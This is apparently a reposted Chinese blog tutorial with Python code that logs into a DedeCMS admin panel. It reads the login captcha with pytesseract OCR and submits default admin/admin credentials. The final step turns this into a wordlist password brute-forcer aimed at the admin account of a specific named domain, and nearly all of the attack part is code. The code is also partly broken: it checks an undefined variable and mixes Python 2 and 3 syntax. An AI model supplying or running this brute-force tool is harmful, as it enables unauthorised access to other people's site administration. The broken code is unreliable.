python3 遠端登入帶驗證碼
阿新 • • 發佈:2018-12-26
第一步:用burpsuite 或者fiddler 等抓包看 post提交的資料,方便設定 post 的data 包
然後設定 header 和 data
url = 'http://xxxxxxxx/login.php' s = requests.session() data = { 'dopost':'login', 'adminstyle':'newdedecms', 'userid':'root', 'pwd':'password', 'validate':'vali' } header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'} html = s.post(url, data=data, headers=header) print(html.text)
第二步:把頁面驗證碼儲存起來,以便於用pytesseract識別驗證碼(PHP檔案字尾可直接保持session的情況下訪問php檔案返回的html就是當前需要提交的圖片)
s = requests.session()
urlCode = "http:/XXXXXXXXX/include/vdimgck.php"
resp = s.get(urlCode)
f = open("./img.jpg","wb")
f.write(resp.content)
f.close()
第三步:識別驗證碼 (需要安裝 pillow、pytesseract、tesseract-ocr
im=Image.open('img.jpg') #imgry = im.convert('L') #轉化為灰色 (中間的註釋操作可神略,是將圖片更容易識別,還需要其他操作) # threshold = 140 #將圖片二極化 # table = [] # for i in range(256): # if i < threshold: # table.append(0) # else: # table.append(1) # out = imgry.point(table, '1') pytesseract.image_to_string(im)
第四步:把各步簡單整合,返回登入成功的頁面
import pytesseract
from PIL import Image
import requests
def vidnum(url,s):
res = s.get(url) #載入驗證碼頁面
f = open("./img.jpg","wb")
f.write(res.content) #儲存驗證碼數圖片
f.close()
im=Image.open('img.jpg')
# imgry = im.convert('L') #轉化為灰色 (中間的註釋操作可神略,是將圖片更容易識別,還需要其他操作)
# threshold = 140 #將圖片二極化
# table = []
# for i in range(256):
# if i < threshold:
# table.append(0)
# else:
# table.append(1)
# im = imgry.point(table, '1')
vidnum = pytesseract.image_to_string(im) #返回的驗證碼
return vidnum.replace(' ','') #去除空格
def main(url):
loginurl = url + '/login.php'
s = requests.session()
vakudate = vidnum(url +"/vdimgck.php",s);
data = {
'dopost':'login',
'adminstyle':'newdedecms',
'userid':'admin',
'pwd':'admin',
'validate': vakudate
}
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
s.post(loginurl, data=data, headers=header) #帶資料訪問
html = s.post(url).text #返回登入成功的頁面
return html
aa = main('http://www.xxxxxxxxx.cn')
print(aa)
第五步:小改下main 函式,就可以 爆破密碼 (利用密碼集文字,或者自己寫生成器)
def main(url,pwd):
loginurl = url + 'dede/login.php'
s = requests.session()
vakudate = vidnum(url +"include/vdimgck.php",s);
data = {
'dopost':'login',
'adminstyle':'newdedecms',
'userid':'admin',
'pwd':pwd,
'validate': vakudate
}
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
s.post(loginurl, data=data, headers=header) #帶資料訪問
if (s.post(url).text == '登入成功頁面'): #判斷是否登入成功,每個網站不用,或用其他判斷
return pwd
else:
return
file = open('passwork.txt','r+'); #載入密碼集
for x in open('passwork.txt'):
passwork =file.readline();
pwd = passwork.strip()
true_pass = main('http://www.wuxiaodong.cn/',pwd)
if result is not None:
print true_pass; #輸出真實密碼
總結:運用 requests 庫 去模擬訪問 ,使用 pillow、pytesseract、tesseract-ocr 庫 識別驗證碼(雖然成功率不是很高,但是簡單),可以模擬登入,獲取cookie ,還可以簡單爆破密碼,小小的一次python經驗記載